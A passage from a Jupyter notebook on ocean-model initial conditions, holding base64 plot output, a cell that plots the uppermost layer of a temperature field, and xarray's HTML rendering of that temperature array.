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"text/plain": [ "<Figure size 1300x700 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "with ProgressBar():\n", " %time initial_conditions.plot(\"temp\", s=-1, depth_contours=True) # plot uppermost layer" ] }, { "cell_type": "markdown", "id": "e84ac22d-cb93-4c48-84ab-66743d2009bf", "metadata": {}, "source": [ "Note that this took some time because the computation of the three-dimensional temperature field was triggered before plotting. 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var(--xr-background-color-row-even);\n", " margin-bottom: 0;\n", "}\n", "\n", ".xr-var-item > .xr-var-name:hover span {\n", " padding-right: 5px;\n", "}\n", "\n", ".xr-var-list > li:nth-child(odd) > div,\n", ".xr-var-list > li:nth-child(odd) > label,\n", ".xr-var-list > li:nth-child(odd) > .xr-var-name span {\n", " background-color: var(--xr-background-color-row-odd);\n", "}\n", "\n", ".xr-var-name {\n", " grid-column: 1;\n", "}\n", "\n", ".xr-var-dims {\n", " grid-column: 2;\n", "}\n", "\n", ".xr-var-dtype {\n", " grid-column: 3;\n", " text-align: right;\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-var-preview {\n", " grid-column: 4;\n", "}\n", "\n", ".xr-index-preview {\n", " grid-column: 2 / 5;\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-var-name,\n", ".xr-var-dims,\n", ".xr-var-dtype,\n", ".xr-preview,\n", ".xr-attrs dt {\n", " white-space: nowrap;\n", " overflow: hidden;\n", " text-overflow: ellipsis;\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-var-name:hover,\n", ".xr-var-dims:hover,\n", ".xr-var-dtype:hover,\n", ".xr-attrs dt:hover {\n", " overflow: visible;\n", " width: auto;\n", " z-index: 1;\n", "}\n", "\n", ".xr-var-attrs,\n", ".xr-var-data,\n", ".xr-index-data {\n", " display: none;\n", " background-color: var(--xr-background-color) !important;\n", " padding-bottom: 5px !important;\n", "}\n", "\n", ".xr-var-attrs-in:checked ~ .xr-var-attrs,\n", ".xr-var-data-in:checked ~ .xr-var-data,\n", ".xr-index-data-in:checked ~ .xr-index-data {\n", " display: block;\n", "}\n", "\n", ".xr-var-data > table {\n", " float: right;\n", "}\n", "\n", ".xr-var-name span,\n", ".xr-var-data,\n", ".xr-index-name div,\n", ".xr-index-data,\n", ".xr-attrs {\n", " padding-left: 25px !important;\n", "}\n", "\n", ".xr-attrs,\n", ".xr-var-attrs,\n", ".xr-var-data,\n", ".xr-index-data {\n", " grid-column: 1 / -1;\n", "}\n", "\n", "dl.xr-attrs {\n", " padding: 0;\n", " margin: 0;\n", " display: grid;\n", " grid-template-columns: 125px auto;\n", "}\n", "\n", ".xr-attrs dt,\n", ".xr-attrs dd {\n", " padding: 0;\n", " margin: 0;\n", " float: left;\n", " padding-right: 10px;\n", " width: auto;\n", "}\n", "\n", ".xr-attrs dt {\n", " font-weight: normal;\n", " grid-column: 1;\n", "}\n", "\n", ".xr-attrs dt:hover span {\n", " display: inline-block;\n", " background: var(--xr-background-color);\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-attrs dd {\n", " grid-column: 2;\n", " white-space: pre-wrap;\n", " word-break: break-all;\n", "}\n", "\n", ".xr-icon-database,\n", ".xr-icon-file-text2,\n", ".xr-no-icon {\n", " display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.DataArray &#x27;temp&#x27; (ocean_time: 1, s_rho: 100, eta_rho: 102, xi_rho: 102)&gt; Size: 4MB\n", "array([[[[ 3.2133336 , 2.8887794 , 2.8351593 , ..., 7.874808 ,\n", " 7.875535 , 7.958319 ],\n", " [ 2.927417 , 2.8645372 , 2.9462984 , ..., 7.9686456 ,\n", " 7.9079647 , 7.9008074 ],\n", " [ 3.0651119 , 3.058829 , 2.8778355 , ..., 8.003046 ,\n", " 7.909738 , 7.8565807 ],\n", " ...,\n", " [ 5.406361 , 5.1410503 , 4.8993187 , ..., -0.9849356 ,\n", " -0.99234957, -0.9892463 ],\n", " [ 5.881658 , 5.5948286 , 5.330797 , ..., -0.9963152 ,\n", " -1.0010488 , -1.0041753 ],\n", " [ 6.3468337 , 6.0467267 , 5.765318 , ..., -1.006307 ,\n", " -1.0111945 , -1.0104384 ]],\n", "\n", " [[ 3.2133336 , 2.9167864 , 2.8394558 , ..., 7.874781 ,\n", " 7.87551 , 7.958297 ],\n", " [ 2.939567 , 2.884021 , 2.9462984 , ..., 7.968622 ,\n", " 7.9079413 , 7.9007845 ],\n", " [ 3.0651119 , 3.058829 , 2.8778355 , ..., 8.003025 ,\n", " 7.909716 , 7.8565583 ],\n", "...\n", " [ 5.4032855 , 5.1379814 , 4.8962464 , ..., -0.8384761 ,\n", " -0.5910594 , -0.43460342],\n", " [ 5.878533 , 5.591718 , 5.3276925 , ..., -0.5207716 ,\n", " -0.5480129 , -0.68099326],\n", " [ 6.343665 , 6.043577 , 5.7621803 , ..., -0.6358841 ,\n", " -0.6390127 , -0.6442147 ]],\n", "\n", " [[11.861317 , 11.975734 , 12.094538 , ..., 7.8723536 ,\n", " 7.87313 , 7.956066 ],\n", " [12.045038 , 12.128336 , 12.21467 , ..., 7.966468 ,\n", " 7.9057093 , 7.8985724 ],\n", " [12.213307 , 12.043888 , 11.924701 , ..., 8.001027 ,\n", " 7.907577 , 7.8543725 ],\n", " ...,\n", " [ 5.4032855 , 5.1379814 , 4.8962464 , ..., -0.8383553 ,\n", " -0.5910602 , -0.43436944],\n", " [ 5.878533 , 5.591718 , 5.3276925 , ..., -0.5212487 ,\n", " -0.54781103, -0.6808458 ],\n", " [ 6.343665 , 6.043577 , 5.7621803 , ..., -0.6358841 ,\n", " -0.6392241 , -0.6443343 ]]]], dtype=float32)\n", "Coordinates:\n", " abs_time (ocean_time) datetime64[ns] 8B 2012-01-02T12:00:00\n", " * ocean_time (ocean_time) float64 8B 3.788e+08\n", "Dimensions without coordinates: s_rho, eta_rho, xi_rho\n", "Attributes:\n", " long_name: potential temperature\n", " units: degrees Celsius</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.DataArray</div><div class='xr-array-name'>'temp'</div><ul class='xr-dim-list'><li><span class='xr-has-index'>ocean_time</span>: 1</li><li><span>s_rho</span>: 100</li><li><span>eta_rho</span>: 102</li><li><span>xi_rho</span>: 102</li></ul></div><ul class='xr-sections'><li class='xr-section-item'><div class='xr-array-wrap'><input id='section-74185756-a612-496b-868a-959e931d0937' class='xr-array-in' type='checkbox' checked><label for='section-74185756-a612-496b-868a-959e931d0937' title='Show/hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-array-preview xr-preview'><span>3.213 2.889 2.835 2.879 2.801 ... -0.5746 -0.6359 -0.6392 -0.6443</span></div><div class='xr-array-data'><pre>array([[[[ 3.2133336 , 2.8887794 , 2.8351593 , ..., 7.874808 ,\n", " 7.875535 , 7.958319 ],\n", " [ 2.927417 , 2.8645372 , 2.9462984 , ..., 7.9686456 ,\n", " 7.9079647 , 7.9008074 ],\n", " [ 3.0651119 , 3.058829 , 2.8778355 , ..., 8.003046 ,\n", " 7.909738 , 7.8565807 ],\n", " ...,\n", " [ 5.406361 , 5.1410503 , 4.8993187 , ..., -0.9849356 ,\n", " -0.99234957, -0.9892463 ],\n", " [ 5.881658 , 5.5948286 , 5.330797 , ..., -0.9963152 ,\n", " -1.0010488 , -1.0041753 ],\n", " [ 6.3468337 , 6.0467267 , 5.765318 , ..., -1.006307 ,\n", " -1.0111945 , -1.0104384 ]],\n", "\n", " [[ 3.2133336 , 2.9167864 , 2.8394558 , ..., 7.874781 ,\n", " 7.87551 , 7.958297 ],\n", " [ 2.939567 , 2.884021 , 2.9462984 , ..., 7.968622 ,\n", " 7.9079413 , 7.9007845 ],\n", " [ 3.0651119 , 3.058829 , 2.8778355 , ..., 8.003025 ,\n", " 7.909716 , 7.8565583 ],\n", "...\n", " [ 5.4032855 , 5.1379814 , 4.8962464 , ..., -0.8384761 ,\n", " -0.5910594 , -0.43460342],\n", " [ 5.878533 , 5.591718 , 5.3276925 , ..., -0.5207716 ,\n", " -0.5480129 , -0.68099326],\n", " [ 6.343665 , 6.043577 , 5.7621803 , ..., -0.6358841 ,\n", " -0.6390127 , -0.6442147 ]],\n", "\n", " [[11.861317 , 11.975734 , 12.094538 , ..., 7.8723536 ,\n", " 7.87313 , 7.956066 ],\n", " [12.045038 , 12.128336 , 12.21467 , ..., 7.966468 ,\n", " 7.9057093 , 7.8985724 ],\n", " [12.213307 , 12.043888 , 11.924701 , ..., 8.001027 ,\n", " 7.907577 , 7.8543725 ],\n", " ...,\n", " [ 5.4032855 , 5.1379814 , 4.8962464 , ..., -0.8383553 ,\n", " -0.5910602 , -0.43436944],\n", " [ 5.878533 , 5.591718 , 5.3276925 , ..., -0.5212487 ,\n", " -0.54781103, -0.6808458 ],\n", " [ 6.343665 , 6.043577 , 5.7621803 , ..., -0.6358841 ,\n", " -0.6392241 , -0.6443343 ]]]], dtype=float32)</pre></div></div></li><li class='xr-section-item'><input id='section-f4bc4784-2d4c-4fb6-a9ca-1117672cc878' class='xr-section-summary-in' type='checkbox' checked><label for='section-f4bc4784-2d4c-4fb6-a9ca-1117672cc878' class='xr-section-summary' >Coordinates: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(ocean_time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2012-01-02T12:00:00</div><input id='attrs-f83ae806-f872-487b-a411-3b21219ae94b' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-f83ae806-f872-487b-a411-3b21219ae94b' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-850de52c-e245-480e-a826-606201d6bb77' class='xr-var-data-in' type='checkbox'><label for='data-850de52c-e245-480e-a826-606201d6bb77' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div 